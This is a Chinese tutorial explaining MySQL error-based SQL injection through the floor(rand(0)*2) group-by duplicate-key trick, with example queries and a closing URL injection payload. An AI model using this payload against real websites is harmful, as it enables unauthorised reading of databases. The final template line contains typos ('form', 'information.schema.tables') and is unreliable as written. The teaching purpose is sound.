报错注入的原理:
执行SQL查询语句,不回显查询的内容,打印相关的错误信息。
在MYSQL中,执行一个正常的SQL语句,不会返回查询的内容,但是会打印一条报错语句,告诉你有一个SQL语法错误。
利用该特性,构造SQL语句,让其返回数据库的相关信息。
执行MYSQL查询语句:
SELECT * FROM `user` WHERE `User`=‘root‘ and (select 1 from (select count(*),concat(DATABASE(),floor(rand(0)*2))x from information_schema.tables group by x)a)
返回信息中出现了当前的数据库名称。
对该SQL语句进行解析:
介绍函数:
1、rand()
作用:产生一个伪随机的序列
执行函数,随机产生一个0~1之间的数值
rand(1),传参数后,返回的值固定。
2、count()
SELECT COUNT(column_name) FROM table_name
返回指定列的值的数目。
SELECT COUNT(*) FROM table_name
返回表中的记录数。
3、group by
用于结合合计函数,根据一个或多个列对结果集进行分组。
在user表中对password列中相同的值进行分组,并进行计数。
同时执行count和group by函数时,MYSQL会创建一个虚拟表,虚拟表进行计数和分组。
mysql官方注明,在执行group by语句的时候,group by语句后面的字段会被运算两次。
第一次是group by后面的字段和虚拟表进行对比,第二次是插入时会进行运算。
由于rand()函数的随机性,导致第二次运算可能和第一运算结果不一致,运算的结果存在,这时插入就会出错。
上面使用的是password进行分组,接下来使用floor(rand(0)*2)进行分组。
返回’1‘,代表构造成功
4、floor()
向下取整,floor(1.8)=1。
>>floor(rand(0)*2)
>>rand()*2 (0,1)区间乘2,(0,2)
>>floor(rand(0)*2) 结果是0/1
注意规律(rand(0)随机数列是伪随机数):
开头是011011..
1、floor(rand(0)*2)进行第一次运算,floor=0,此时为floor与虚拟表进行对比,由于表中没有值,进行插入。
2、插入时,floor进行第二次运算,floor=1,插入1,count=1。
3、取floor=1,此时为floor与虚拟表进行对比,由于存在floor=1,故count+1。
4、取floor=0,此时为floor与虚拟表进行对比,由于表中不存在floor=0,故作插入处理。
5、插入时,floor进行第二次运算,floor=1,但是floor=1已经存在,无法进行插入操作,故产生主键重复错误,抛出异常。
>>使用concat()进行拼接,
SELECT COUNT(*),CONCAT(USER(),FLOOR(RAND(0)*2)) FROM `User` GROUP BY CONCAT(user(),FLOOR(rand(0)*2))
>>通过设置别名,简化长度
SELECT COUNT(*),CONCAT(USER(),FLOOR(RAND(0)*2))x FROM `User` GROUP BY x
>>再重新看这个语句
>>information_schema.tables代表随便选择一个表。
>>select 1 from,and后面必须是一个布尔值,为非0值
select 1 from (select count(*),concat(DATABASE(),floor(rand(0)*2))x from information_schema.tables group by x)
【在做多表查询,或者查询的时候产生新的表的时候会出现这个错误:Every derived table must have its own alias(每一个派生出来的表都必须有一个自己的别名)】
select 1 from (select count(*),concat(DATABASE(),floor(rand(0)*2))x from information_schema.tables group by x)a
Payload:
select count(*),concat(PAYLOAD,floor(rand(0)*2))x form 表名 group by x; ?id=1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information.schema.tables group by x)a )